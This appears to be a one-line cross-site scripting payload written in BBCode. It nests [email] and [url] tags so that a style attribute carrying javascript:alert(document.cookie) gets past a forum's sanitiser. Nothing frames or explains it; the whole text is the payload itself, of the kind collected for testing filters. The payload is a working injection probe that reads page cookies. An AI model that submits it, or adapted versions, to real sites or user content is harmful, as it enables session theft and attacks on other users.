[email=XSS@XSS[url=style=background:url(javascript:alert(document .cookie));display:none;][/url]][/email]